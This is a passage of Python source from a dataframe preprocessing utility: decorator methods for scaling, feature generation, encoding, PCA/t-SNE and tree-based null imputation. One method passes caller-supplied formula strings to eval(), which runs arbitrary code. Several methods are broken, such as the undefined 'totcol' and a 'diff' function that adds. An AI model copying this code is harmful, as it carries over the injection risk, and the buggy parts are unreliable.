in tmpdf:\r\n                        if tmpdf[col].dtype == 'float32' or tmpdf[col].dtype == 'float64' or (col in includestandcols):\r\n                            tmpdf[col] = tmpdf[col].replace(np.inf, 0.0)\r\n                            if tmpdf[col].mean() > 1000:\r\n                                scaler = MinMaxScaler(feature_range=(0, 10))\r\n                                tmpdf[col] = scaler.fit_transform(np.asarray(tmpdf[col]).reshape(-1, 1))\r\n                            elif tmpdf[col].mean() > 100:\r\n                                scaler = MinMaxScaler(feature_range=(0, 5))\r\n                                # print(col)\r\n                                tmpdf[col] = scaler.fit_transform(np.asarray(tmpdf[col]).reshape(-1, 1))\r\n                            elif tmpdf[col].mean() > 10:\r\n                                scaler = MinMaxScaler(feature_range=(0, 2))\r\n                                # print(col)\r\n                                tmpdf[col] = scaler.fit_transform(np.asarray(tmpdf[col]).reshape(-1, 1))\r\n                            else:\r\n                                scaler = MinMaxScaler(feature_range=(0, 1))\r\n                                # print(col)\r\n                                tmpdf[col] = scaler.fit_transform(np.asarray(tmpdf[col]).reshape(-1, 1))\r\n                            print(\"INFO : \" + str(datetime.now()) + ' : ' + 'Column ' + col + 'is standardized')\r\n                    return tmpdf\r\n                except:\r\n                    sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n\r\n            return wrapper\r\n\r\n        return standardize_stratified_lvl\r\n\r\n    def featurization(self, cat_coltype=False):\r\n        def featurization_lvl1(func):\r\n            def wrapper(tmpdf):\r\n                try:\r\n                    tmpdf = func(tmpdf)\r\n                    self.refresh_cat_noncat_cols_fn(tmpdf, self.threshold)\r\n                    if cat_coltype:\r\n                        column_list = self.catcols_list\r\n                    else:\r\n                        column_list = self.noncatcols_list\r\n                    print(\"INFO : \" + str(datetime.now()) + ' : ' + 'Shape of dataframe before featurization ' + str(\r\n                        tmpdf.shape))\r\n                    for col in column_list:\r\n                        tmpdf[col + '_minus_mean'] = tmpdf[col] - np.mean(tmpdf[col])\r\n                        tmpdf[col + '_minus_mean'] = tmpdf[col + '_minus_mean'].astype(np.float32)\r\n                        tmpdf[col + '_minus_max'] = tmpdf[col] - np.max(tmpdf[col])\r\n                        tmpdf[col + '_minus_max'] = tmpdf[col + '_minus_max'].astype(np.float32)\r\n                        tmpdf[col + '_minus_min'] = tmpdf[col] - np.min(tmpdf[col])\r\n                        tmpdf[col + '_minus_min'] = tmpdf[col + '_minus_min'].astype(np.float32)\r\n                    print(\"INFO : \" + str(datetime.now()) + ' : ' + 'Shape of dataframe after featurization ' + str(\r\n                        tmpdf.shape))\r\n                    return tmpdf\r\n                except:\r\n                    sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n\r\n            return wrapper\r\n\r\n        return featurization_lvl1\r\n\r\n    def two_column_featurization(self, cat_coltype=False):\r\n        def featurization_lvl1(func):\r\n            def wrapper(tmpdf):\r\n                try:\r\n                    tmpdf = func(tmpdf)\r\n                    self.refresh_cat_noncat_cols_fn(tmpdf, self.threshold)\r\n                    if cat_coltype:\r\n                        column_list = self.catcols_list\r\n                    else:\r\n                        column_list = self.noncatcols_list\r\n                    # print('2col'+str(tmpdf.shape))\r\n                    # print('2col'+str(tmpdf.columns))\r\n                    # print('2col'+str(self.dfcolumns))\r\n                    # print('2col'+str(column_list))\r\n                    print(\"INFO : \" + str(\r\n                        datetime.now()) + ' : ' + 'Shape of dataframe before two column featurization ' + str(\r\n                        tmpdf.shape))\r\n                    for col in column_list:\r\n                        for col1 in column_list:\r\n                            if col != col1:\r\n                                tmpdf[col + '_diff_' + col1] = tmpdf[col] - tmpdf[col1]\r\n                                tmpdf[col + '_diff_' + col1] = tmpdf[col + '_diff_' + col1].astype(np.float32)\r\n                                tmpdf[col + '_sum_' + col1] = tmpdf[col] + tmpdf[col1]\r\n                                tmpdf[col + '_sum_' + col1] = tmpdf[col + '_sum_' + col1].astype(np.float32)\r\n                                tmpdf[col + '_ratio_' + col1] = tmpdf[col] / tmpdf[col1]\r\n                                tmpdf[col + '_ratio_' + col1] = tmpdf[col + '_ratio_' + col1].astype(np.float32)\r\n                    print(\"INFO : \" + str(\r\n                        datetime.now()) + ' : ' + 'Shape of dataframe after two column featurization ' + str(\r\n                        tmpdf.shape))\r\n                    return tmpdf\r\n                except:\r\n                    sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n\r\n            return wrapper\r\n\r\n        return featurization_lvl1\r\n\r\n    def standardize_simple(self, cat_coltype=False, range_tuple=(0, 1)):\r\n        def standardize_simple_lvl(func):\r\n            def wrapper(tmpdf):\r\n                try:\r\n                    tmpdf = func(tmpdf)\r\n                    self.refresh_cat_noncat_cols_fn(tmpdf, self.threshold)\r\n                    if cat_coltype:\r\n                        column_list = self.catcols_list\r\n                    else:\r\n                        column_list = self.noncatcols_list\r\n                    scaler = MinMaxScaler(feature_range=range_tuple)\r\n                    # tmpdf_col = [col for col in tmpdf.columns.tolist(),]\r\n                    for col in column_list:\r\n                        tmpdf[col] = tmpdf[col].replace(np.inf, 0.0)\r\n                        tmpdf[col] = scaler.fit_transform(np.asarray(tmpdf[col]).reshape(-1, 1))\r\n                        print(\"INFO : \" + str(datetime.now()) + ' : ' + 'Column ' + col + 'is standardized')\r\n                    return tmpdf\r\n                except:\r\n                    sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n\r\n            return wrapper\r\n\r\n        return standardize_simple_lvl\r\n\r\n    def standardize_simple_auto(self, range_tuple=(0, 1)):\r\n        def standardize_simple_lvl(func):\r\n            def wrapper(tmpdf):\r\n                try:\r\n                    tmpdf = func(tmpdf)\r\n                    scaler = MinMaxScaler(feature_range=range_tuple)\r\n                    # tmpdf_col = [col for col in tmpdf.columns.tolist(),]\r\n                    for col in tmpdf:\r\n                        if (tmpdf[col].dtype == 'float32') or (tmpdf[col].dtype == 'float64'):\r\n                            tmpdf[col] = tmpdf[col].replace(np.inf, 0.0)\r\n                            tmpdf[col] = tmpdf[col].replace(np.nan, 0.0)\r\n                            tmpdf[col] = tmpdf[col].replace(-np.inf, 0.0)\r\n                            tmpdf[col] = scaler.fit_transform(np.asarray(tmpdf[col]).reshape(-1, 1))\r\n                            print(\"INFO : \" + str(datetime.now()) + ' : ' + 'Column ' + col + 'is standardized')\r\n                    return tmpdf\r\n                except:\r\n                    sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n\r\n            return wrapper\r\n\r\n        return standardize_simple_lvl\r\n\r\n    def columnmapondf(self, col_list_of_dict=[['colname', {}], ['colname', {}]]):\r\n        def columnmapondf_lvl(func):\r\n            def wrapper(tmpdf):\r\n                try:\r\n                    tmpdf = func(tmpdf)\r\n                    for col in col_list_of_dict:\r\n                        # print(mapdict)\r\n                        # print(col)\r\n                        convertedcolumns = tmpdf[col[0]].map(col[1])\r\n                        tmpdf[col] = convertedcolumns\r\n                        print(\"INFO : \" + str(\r\n                            datetime.now()) + ' : ' + 'Column ' + col[0] + ',mapped using dictionary : ' + str(col[1]))\r\n                    return tmpdf\r\n                except:\r\n                    sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n\r\n            return wrapper\r\n\r\n        return columnmapondf_lvl\r\n\r\n    def dropcolumnfromdf(self, column_list=[]):\r\n        def dropcolumnfromdf_lvl(func):\r\n            def wrapper(tmpdf):\r\n                try:\r\n                    tmpdf = func(tmpdf)\r\n                    tmpdf = tmpdf.drop(column_list, axis=1)\r\n                    print(\"INFO : \" + str(datetime.now()) + ' : ' + 'Column ' + str(\r\n                        column_list) + ',dropped from base dataframe')\r\n                    return tmpdf\r\n                except:\r\n                    sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n\r\n            return wrapper\r\n\r\n        return dropcolumnfromdf_lvl\r\n\r\n    def feature_importance(self, dfforimp, tobepredicted, modelname, featurelimit=0):\r\n        colname = [col for col in dfforimp.columns.tolist() if col != tobepredicted]\r\n        X = dfforimp[colname]\r\n        y = dfforimp[tobepredicted]\r\n        #print(modelname)\r\n        #t =''\r\n        if modelname == 'rfclassifier':\r\n            model = RandomForestClassifier(n_estimators=100, random_state=10)\r\n        elif modelname == 'rfregressor':\r\n            model = RandomForestRegressor(n_estimators=100, random_state=10)\r\n        elif modelname == 'lgbmclassifier':\r\n            model = lgb.LGBMClassifier(n_estimators=1000, learning_rate=0.05, verbose=-1)\r\n        elif modelname == 'lgbmregressor':\r\n            #print('yes')\r\n            model = lgb.LGBMRegressor(n_estimators=1000, learning_rate=0.05, verbose=-1)\r\n        model.fit(X, y)\r\n        feature_names = X.columns\r\n        feature_importances = pd.DataFrame({'feature': feature_names, 'importance': model.feature_importances_})\r\n        feature_importances = feature_importances.sort_values(by=['importance'], ascending=False).reset_index()\r\n        feature_importances = feature_importances[['feature', 'importance']]\r\n        if featurelimit == 0:\r\n            return feature_importances\r\n        else:\r\n            return feature_importances[:featurelimit]\r\n\r\n    def importantfeatures(self, dfforimp, tobepredicted, modelname, skipcols=[], featurelimit=0):\r\n        #print(modelname)\r\n        f_imp = self.feature_importance(dfforimp, tobepredicted, modelname, featurelimit)\r\n        allimpcols = list(f_imp['feature'])\r\n        stuff = []\r\n        for col in allimpcols:\r\n            for skipcol in skipcols:\r\n                if col != skipcol:\r\n                    stuff.append(col)\r\n                else:\r\n                    pass\r\n        return stuff, f_imp\r\n\r\n    def convertdatatypes(self, cat_threshold=100):\r\n        def convertdatatypes_lvl(func):\r\n            def wrapper(tmpdf):\r\n                try:\r\n                    tmpdf = func(tmpdf)\r\n                    original_memory = tmpdf.memory_usage().sum()\r\n                    print(\"INFO : \" + str(\r\n                        datetime.now()) + ' : ' + 'Size of dataset before applying converdatatypes ' + str(\r\n                        original_memory))\r\n                    for c in tmpdf:\r\n                        if ('y' in c):\r\n                            tmpdf[c] = tmpdf[c].fillna(0).astype(np.int32)\r\n                        elif (tmpdf[c].dtype == 'object') and (tmpdf[c].nunique() < cat_threshold):\r\n                            tmpdf[c] = tmpdf[c].astype('category')\r\n                            # elif (tmpdf[c].nunique() < cat_threshold):\r\n                        #    tmpdf[c] = tmpdf[c].astype('category')\r\n                        elif tmpdf[c].dtype == float:\r\n                            tmpdf[c] = tmpdf[c].astype(np.float32)\r\n                        elif tmpdf[c].dtype == int:\r\n                            tmpdf[c] = tmpdf[c].astype(np.int32)\r\n                    new_memory = tmpdf.memory_usage().sum()\r\n                    print(\"INFO : \" + str(\r\n                        datetime.now()) + ' : ' + 'Size of dataset after applying converdatatypes ' + str(new_memory))\r\n                    return tmpdf\r\n                except:\r\n                    sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n\r\n            return wrapper\r\n\r\n        return convertdatatypes_lvl\r\n\r\n    def sumtwocolumns(self, combination_list=[['col1', 'col2', 'col1+col2']]):\r\n        def sumtwocolumns_lvl(func):\r\n            def wrapper(tmpdf):\r\n                try:\r\n                    tmpdf = func(tmpdf)\r\n                    for col in combination_list:\r\n                        tmpdf[col[2]] = tmpdf[col[0]] + tmpdf[col[1]]\r\n                        print(\"INFO : \" + str(datetime.now()) + ' : ' + 'Columns ' + col[0] + ' and ' + col[\r\n                            1] + ' added and the name of new column is ' + str(totcol[0]))\r\n                    return tmpdf\r\n                except:\r\n                    sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n\r\n            return wrapper\r\n\r\n        return sumtwocolumns_lvl\r\n\r\n    def difftwocolumns(self, combination_list=[['col1', 'col2', 'col1+col2']]):\r\n\r\n        def difftwocolumns_lvl(func):\r\n            def wrapper(tmpdf):\r\n                try:\r\n                    tmpdf = func(tmpdf)\r\n                    for col in combination_list:\r\n                        tmpdf[col[2]] = tmpdf[col[0]] + tmpdf[col[1]]\r\n                        print(\"INFO : \" + str(datetime.now()) + ' : ' + 'Columns ' + col[0] + ' and ' + col[\r\n                            1] + ' subtracted and the name of new column is ' + str(totcol[0]))\r\n                    return tmpdf\r\n                except:\r\n                    sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n\r\n            return wrapper\r\n\r\n        return difftwocolumns_lvl\r\n\r\n    def ohe_on_threshold(self, threshold, drop_converted_col=True):\r\n        def ohe_on_threshold_lvl1(func):\r\n            def wrapper(tmpdf):\r\n                try:\r\n                    tmpdf = func(tmpdf)\r\n                    for col in tmpdf.columns.tolist():\r\n                        if tmpdf[col].nunique() < threshold:\r\n                            dummy = pd.get_dummies(tmpdf[col])\r\n                            tmpdf = pd.concat([tmpdf, dummy], axis=1)\r\n                            if drop_converted_col:\r\n                                tmpdf = tmpdf.drop(col, axis=1)\r\n                            print(\"INFO : \" + str(datetime.now()) + ' : ' + 'Column ' + col + ' converted to dummies')\r\n                    return tmpdf\r\n                except:\r\n                    sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n\r\n            return wrapper\r\n\r\n        return ohe_on_threshold_lvl1\r\n\r\n    def remove_collinear(self, th=0.95):\r\n        def converttodummies_lvl(func):\r\n            def wrapper(tmpdf):\r\n                try:\r\n                    tmpdf = func(tmpdf)\r\n                    print(\"INFO : \" + str(datetime.now()) + ' : ' + 'Shape of dataframe before collinear drop ' + str(\r\n                        tmpdf.shape))\r\n                    corr_matrix = tmpdf.corr().abs()\r\n                    upper = corr_matrix.where(np.triu(np.ones(corr_matrix.shape), k=1).astype(np.bool))\r\n                    to_drop = [column for column in upper.columns if any(upper[column] > th)]\r\n                    tmpdf = tmpdf.drop(to_drop, axis=1)\r\n                    print(\"INFO : \" + str(datetime.now()) + ' : ' + 'Shape of dataframe after collinear drop ' + str(\r\n                        tmpdf.shape))\r\n                    return tmpdf\r\n                except:\r\n                    sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n\r\n            return wrapper\r\n\r\n        return converttodummies_lvl\r\n\r\n    def high_coor_target_column(self, targetcol='y', th=0.5):\r\n        def high_coor_target_column_lvl1(func):\r\n            def wrapper(tmpdf):\r\n                try:\r\n                    tmpdf = func(tmpdf)\r\n                    print(\"INFO : \" + str(\r\n                        datetime.now()) + ' : ' + 'Shape of dataframe before retaining only highly corelated col with target ' + str(\r\n                        tmpdf.shape))\r\n                    cols = [col for col in tmpdf.columns.tolist() if col != targetcol]\r\n                    for col in cols:\r\n                        tmpdcorr = tmpdf[col].corr(tmpdf[targetcol])\r\n                        if tmpdcorr > th:\r\n                            self.hightarge_corr_col.append(col)\r\n                    cols = self.hightarge_corr_col + [targetcol]\r\n                    tmpdf = tmpdf[cols]\r\n                    print(\"INFO : \" + str(\r\n                        datetime.now()) + ' : ' + 'Shape of dataframe after retaining only highly corelated col with target ' + str(\r\n                        tmpdf.shape))\r\n                    return tmpdf\r\n                except:\r\n                    sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n\r\n            return wrapper\r\n\r\n        return high_coor_target_column_lvl1\r\n\r\n    def ohe_on_column(self, drop_converted_col=True):\r\n        def converttodummies_lvl(func):\r\n            def wrapper(tmpdf):\r\n                try:\r\n                    tmpdf = func(tmpdf)\r\n                    # self.refresh_cat_noncat_cols_fn(tmpdf,self.threshold)\r\n                    column_list = self.catcols_list\r\n                    for col in column_list:\r\n                        dummy = pd.get_dummies(tmpdf[col])\r\n                        dummy.columns = [col.lower() + '_' + str(x).lower().strip() for x in dummy.columns]\r\n                        tmpdf = pd.concat([tmpdf, dummy], axis=1)\r\n                        # tmpdf.columns = [col.lower()+'_'+str(x).lower().strip() for x in tmpdf.columns]\r\n                        if drop_converted_col:\r\n                            tmpdf = tmpdf.drop(col, axis=1)\r\n                        print(\"INFO : \" + str(datetime.now()) + ' : ' + 'Column ' + col + ' converted to dummies')\r\n                    return tmpdf\r\n                except:\r\n                    sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n\r\n            return wrapper\r\n\r\n        return converttodummies_lvl\r\n\r\n    def logtransform(self, logtransform_col=[]):\r\n        def logtransform_lvl(func):\r\n            def wrapper(tmpdf):\r\n                try:\r\n                    tmpdf = func(tmpdf)\r\n                    for col in logtransform_col:\r\n                        tmpdf[col] = tmpdf[col].apply(lambda x: np.log(x) if x != 0 else 0)\r\n                        print(\"INFO : \" + str(\r\n                            datetime.now()) + ' : ' + 'Column ' + col + ' converted to corresponding log using formula: log(x)')\r\n                    return tmpdf\r\n                except:\r\n                    sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n\r\n            return wrapper\r\n\r\n        return logtransform_lvl\r\n\r\n    def applyformulaoncolumns(self, column_formula=[]):\r\n        def applyformulaoncolumns_lvl(func):\r\n            def wrapper(tmpdf):\r\n                try:\r\n                    tmpdf = func(tmpdf)\r\n                    for col, formula in column_formula.items():\r\n                        formulabuilder = 'tmpdf[' + col + '].apply(lambda x: ' + formula + ' if x!=0 else 0)'\r\n                        tmpdf[col] = eval(formulabuilder)\r\n                        print(\"INFO : \" + str(\r\n                            datetime.now()) + ' : ' + 'Column ' + col + ' converted to corresponding log using formula:' + formula)\r\n                    return tmpdf\r\n                except:\r\n                    sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n\r\n            return wrapper\r\n\r\n        return applyformulaoncolumns_lvl\r\n\r\n    def applypca(self, cat_coltype=False, number_of_components=50):\r\n        def applypca_lvl1(func):\r\n            def wrapper(tmpdf):\r\n                try:\r\n                    tmpdf = func(tmpdf)\r\n                    self.refresh_cat_noncat_cols_fn(tmpdf, self.threshold)\r\n                    if cat_coltype:\r\n                        column_list = self.catcols_list\r\n                    else:\r\n                        column_list = self.noncatcols_list\r\n                    print(\"INFO : \" + str(datetime.now()) + ' : ' + 'Shape of dataframe before pca ' + str(tmpdf.shape))\r\n                    non_included_cols = [col for col in self.dfcolumns_nottarget if col not in column_list]\r\n                    non_included_cols = non_included_cols + [self.target]\r\n                    x = tmpdf.loc[:, column_list].values\r\n                    # y = tmpdf.loc[:,[self.target]].values\r\n                    # x = StandardScaler().fit_transform(x)\r\n                    pca = PCA(n_components=number_of_components)\r\n                    # pca = PCA()\r\n                    pca_comp = pca.fit_transform(x)\r\n                    pca_df = pd.DataFrame(data=pca_comp, columns=['pca_' + str(i) for i in range(number_of_components)])\r\n                    # pca_df = pd.DataFrame(data = pca_comp)\r\n                    # print(non_included_cols)\r\n                    tmpdf = pd.concat([pca_df, tmpdf[non_included_cols]], axis=1)\r\n                    # print(tmpdf1.shape)\r\n                    # print(non_included_cols)\r\n                    # print(tmpdf1[non_included_cols].shape)\r\n                    # tmpdf = pd.concat([tmpdf1,tmpdf[[self.target]]], axis = 1)\r\n                    self.explained_variance = pca.explained_variance_ratio_\r\n                    print(\"INFO : \" + str(datetime.now()) + ' : ' + 'Shape of dataframe after pca ' + str(tmpdf.shape))\r\n                    gc.enable()\r\n                    del x, pca_comp, pca_df\r\n                    gc.collect()\r\n                    return tmpdf\r\n                except:\r\n                    sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n\r\n            return wrapper\r\n\r\n        return applypca_lvl1\r\n\r\n    def applytsne(self, cat_coltype=False, number_of_components=50):\r\n        def applytsne_lvl1(func):\r\n            def wrapper(tmpdf):\r\n                try:\r\n                    tmpdf = func(tmpdf)\r\n                    self.refresh_cat_noncat_cols_fn(tmpdf, self.threshold)\r\n                    if cat_coltype:\r\n                        column_list = self.catcols_list\r\n                    else:\r\n                        column_list = self.noncatcols_list\r\n                    print(\r\n                        \"INFO : \" + str(datetime.now()) + ' : ' + 'Shape of dataframe before tsne ' + str(tmpdf.shape))\r\n                    tmpdf_col = tmpdf.columns.tolist()\r\n                    non_included_cols = [col for col in self.dfcolumns if col not in column_list]\r\n                    x = tmpdf.loc[:, column_list].values\r\n                    # y = tmpdf.loc[:,[self.target]].values\r\n                    # x = StandardScaler().fit_transform(x)\r\n                    tsne = TSNE(n_components=number_of_components)\r\n                    tsne_comp = tsne.fit_transform(x)\r\n                    tsne_df = pd.DataFrame(data=tsne_comp,\r\n                                           columns=['tsne_' + str(i) for i in range(number_of_components)])\r\n                    tmpdf = pd.concat([tsne_df, tmpdf[non_included_cols]], axis=1)\r\n                    # print(tmpdf1.shape)\r\n                    # tmpdf = pd.concat([tmpdf1,tmpdf[[self.target]]], axis = 1)\r\n                    # print(\"INFO : \" + str(datetime.now()) + ' : ' + 'Shape of dataframe after tsne ' + str(tmpdf.shape))\r\n                    gc.enable()\r\n                    del x, tsne_comp, tsne_df\r\n                    gc.collect()\r\n                    return tmpdf\r\n                except:\r\n                    sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n\r\n            return wrapper\r\n\r\n        return applytsne_lvl1\r\n\r\n    def convertnulls_to(self, columns_list=[], to_val=''):\r\n        def convertnullsto_lvl(func):\r\n            def wrapper(tmpdf):\r\n                try:\r\n                    tmpdf = func(tmpdf)\r\n                    tmpdf.update(tmpdf[columns_list].fillna(to_val))\r\n                    print(\"INFO : \" + str(\r\n                        datetime.now()) + ' : ' + 'Columns : ' + columns_list + ' converted to ' + str(to_val))\r\n                    return tmpdf\r\n                except:\r\n                    sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n\r\n            return wrapper\r\n\r\n        return convertnullsto_lvl\r\n\r\n    def addbackcolumn(self, stage):\r\n        dictargname_col = 'addbackcolumn_col_' + str(stage)\r\n        dictargname_map = 'addbackcolumn_map_' + str(stage)\r\n        addbackcolumn_col = self.colnamelistdict[dictargname_col]\r\n        addbackcolumn_map = self.maplistdict[dictargname_map]\r\n\r\n        def addbackcolumn_lvl(func):\r\n            def wrapper(tmpdf):\r\n                try:\r\n                    tmpdf = func(tmpdf)\r\n                    for col in addbackcolumn_col:\r\n                        if addbackcolumn_map == 'train':\r\n                            tmpdf = pd.concat([tmpdf, self.df_train[col]], axis=1)\r\n                        elif addbackcolumn_map == 'test':\r\n                            tmpdf = pd.concat([tmpdf, self.df_test[col]], axis=1)\r\n                        else:\r\n                            print(\"INFO : \" + str(\r\n                                datetime.now()) + ' : ' + 'Unable to add column.Please enter test or train in input sheet')\r\n                    return tmpdf\r\n                except:\r\n                    sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n\r\n            return wrapper\r\n\r\n        return addbackcolumn_lvl\r\n\r\n    def testtrainna(self, tmpdf, tobepred_col):\r\n        key = tmpdf[tobepred_col].isnull()\r\n        df_na = tmpdf.loc[key]\r\n        df_notNA_train_x = pd.DataFrame()\r\n        df_notNA_train_y = pd.DataFrame()\r\n        df_NA_test_x = pd.DataFrame()\r\n        df_NA_test_y = pd.DataFrame()\r\n        try:\r\n            # print(df_na.shape)\r\n            if df_na.empty:\r\n                print(\r\n                    \"INFO : \" + str(\r\n                        datetime.now()) + ' : ' + 'Column ' + tobepred_col + 'has no null values so imputing cancelled')\r\n                return df_notNA_train_x, df_notNA_train_y, df_NA_test_x, df_NA_test_y\r\n            else:\r\n                df_notNA = tmpdf.loc[~key]\r\n                df_notNA_train_x = df_notNA.dropna(how='any')\r\n                df_notNA_train_y = df_notNA_train_x[tobepred_col]\r\n                df_notNA_train_x = df_notNA_train_x.drop(tobepred_col, axis=1)\r\n                df_NA_test_y = df_na[tobepred_col]\r\n                df_NA_test_x = df_na.drop(tobepred_col, axis=1)\r\n                df_NA_test_x = df_NA_test_x.ffill().bfill()\r\n                df_NA_test_x = df_NA_test_x.dropna(axis=1, how='all')\r\n                df_notNA_train_x = df_notNA_train_x[df_NA_test_x.columns]\r\n            return df_notNA_train_x, df_notNA_train_y, df_NA_test_x, df_NA_test_y\r\n        except:\r\n            sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n\r\n    def model_null_impute_notcat_dt(self):\r\n        def model_null_impute_notcat_dt_lvl(func):\r\n            def wrapper(tmpdf):\r\n                try:\r\n                    tmpdf = func(tmpdf)\r\n                    self.refresh_cat_noncat_cols_fn(tmpdf, self.threshold)\r\n                    column_list = self.catcols_list\r\n                    for col in column_list:\r\n                        # print(col)\r\n                        df_notNA_train_x, df_notNA_train_y, df_NA_test_x, df_NA_test_y = self.testtrainna(tmpdf, col)\r\n                        if df_notNA_train_x.empty:\r\n                            pass\r\n                            # print(\"INFO : \" + str(datetime.now()) + ' : ' + 'imputing cancelled')\r\n                        else:\r\n                            dtree = DecisionTreeRegressor()\r\n                            # print(df_notNA_train_x.columns[df_notNA_train_x.isna().any()].tolist())\r\n                            # print(df_notNA_train_y.columns[df_notNA_train_y.isna().any()].tolist())\r\n                            # print(df_notNA_train_x.shape, df_notNA_train_y.shape)\r\n                            dtree.fit(df_notNA_train_x, df_notNA_train_y)\r\n                            predictions = dtree.predict(df_NA_test_x)\r\n                            df_NA_test_x[col] = predictions\r\n                            tmpdf[col].update(df_NA_test_x[col])\r\n                            print(\"INFO : \" + str(\r\n                                datetime.now()) + ' : ' + 'Column ' + col + ',data imputing completed : No. of data imputed = ' + str(\r\n                                df_NA_test_x.shape[0]))\r\n                    return tmpdf\r\n                except:\r\n                    sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n\r\n            return wrapper\r\n\r\n        return model_null_impute_notcat_dt_lvl\r\n\r\n    def model_null_impute_cat_dt(self):\r\n        def model_null_impute_notcat_dt_lvl(func):\r\n            def wrapper(tmpdf):\r\n                try:\r\n                    tmpdf = func(tmpdf)\r\n                    self.refresh_cat_noncat_cols_fn(tmpdf, self.threshold)\r\n                    column_list = self.noncatcols_list\r\n                    for col in column_list:\r\n                        # print(col)\r\n                        df_notNA_train_x, df_notNA_train_y, df_NA_test_x, df_NA_test_y = self.testtrainna(tmpdf, col)\r\n                        if df_notNA_train_x.empty:\r\n                            pass\r\n                            # print(\"INFO : \" + str(datetime.now()) + ' : ' + 'imputing cancelled')\r\n                        else:\r\n                            dtree = DecisionTreeClassifier()\r\n                            # print(df_notNA_train_x.columns[df_notNA_train_x.isna().any()].tolist())\r\n                            # print(df_notNA_train_y.columns[df_notNA_train_y.isna().any()].tolist())\r\n                            # print(df_notNA_train_x.shape, df_notNA_train_y.shape)\r\n                            dtree.fit(df_notNA_train_x, df_notNA_train_y)\r\n                            predictions = dtree.predict(df_NA_test_x)\r\n                            # print(predictions)\r\n                            df_NA_test_x[col] = predictions\r\n                            tmpdf[col].update(df_NA_test_x[col])\r\n                            print(\"INFO : \" + str(\r\n                                datetime.now()) + ' : ' + 'Column ' + col + ',data imputing completed : No. of data imputed = ' + str(\r\n                                df_NA_test_x.shape[0]))\r\n                    return tmpdf\r\n                except:\r\n                    sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n\r\n            return wrapper\r\n\r\n        return model_null_impute_notcat_dt_lvl\r\n\r\n    def model_null_impute_notcat_rf(self):\r\n        def model_null_impute_notcat_rf_lvl(func):\r\n            def wrapper(tmpdf):\r\n                try:\r\n                    tmpdf = func(tmpdf)\r\n                    self.refresh_cat_noncat_cols_fn(tmpdf, self.threshold)\r\n                    column_list = self.noncatcols_list\r\n                    for col in column_list:\r\n                        # df_notNA_train_x, df_notNA_train_y, df_NA_test_x, df_NA_test_y = self.testtrainna(tmpdf, col)\r\n                        df_notNA_train_x, df_notNA_train_y, df_NA_test_x, df_NA_test_y = self.testtrainna(tmpdf, col)\r\n                        if df_notNA_train_x.empty:\r\n                            pass\r\n                            # print(\"INFO : \" + str(datetime.now()) + ' : ' + 'imputing cancelled')\r\n                        else:\r\n                            rfc = RandomForestRegressor()\r\n                            rfc.fit(df_notNA_train_x, df_notNA_train_y)\r\n                            predictions = rfc.predict(df_NA_test_x)\r\n                            df_NA_test_x[col] = predictions\r\n                            tmpdf[col].update(df_NA_test_x[col])\r\n                            print(\"INFO : \" + str(\r\n                                datetime.now()) + ' : ' + 'Column ' + col + ',data imputing completed : No. of data imputed = ' + str(\r\n                                df_NA_test_x.shape[0]))\r\n                    return tmpdf\r\n                except:\r\n                    sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n\r\n            return wrapper\r\n\r\n        return model_null_impute_notcat_rf_lvl\r\n\r\n    def model_null_impute_cat_rf(self):\r\n\r\n        def model_null_impute_cat_rf_lvl(func):\r\n            def wrapper(tmpdf):\r\n                try:\r\n                    tmpdf = func(tmpdf)\r\n                    self.refresh_cat_noncat_cols_fn(tmpdf, self.threshold)\r\n                    column_list = self.catcols_list\r\n                    for col in column_list:\r\n                        df_notNA_train_x, df_notNA_train_y, df_NA_test_x, df_NA_test_y = self.testtrainna(tmpdf, col)\r\n                        if df_notNA_train_x.empty:\r\n                            pass\r\n                            # print(\"INFO : \" + str(datetime.now()) + ' : ' + 'imputing cancelled')\r\n                        else:\r\n                            rfc = RandomForestClassifier()\r\n                            rfc.fit(df_notNA_train_x, df_notNA_train_y)\r\n                            predictions = rfc.predict(df_NA_test_x)\r\n                            df_NA_test_x[col] = predictions\r\n                            tmpdf[col].update(df_NA_test_x[col])\r\n                            print(\"INFO : \" + str(\r\n                                datetime.now()) + ' : ' + 'Column ' + col + ',data imputing completed : No. of data imputed = ' + str(\r\n                                df_NA_test_x.shape[0]))\r\n                    return tmpdf\r\n                except:\r\n                    sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n\r\n            return wrapper\r\n\r\n        return model_null_impute_cat_rf_lvl\r\n\r\n    def add_id_column(self,id_col):\r\n        def add_id_column_lvl1(func):\r\n            def wrapper(tmpdf):\r\n                try:\r\n                    tmpdf = func(tmpdf)\r\n                    tmpdf[id_col] = tmpdf.index +1\r\n                    print(\"INFO : \" + str(datetime.now()) + ' : 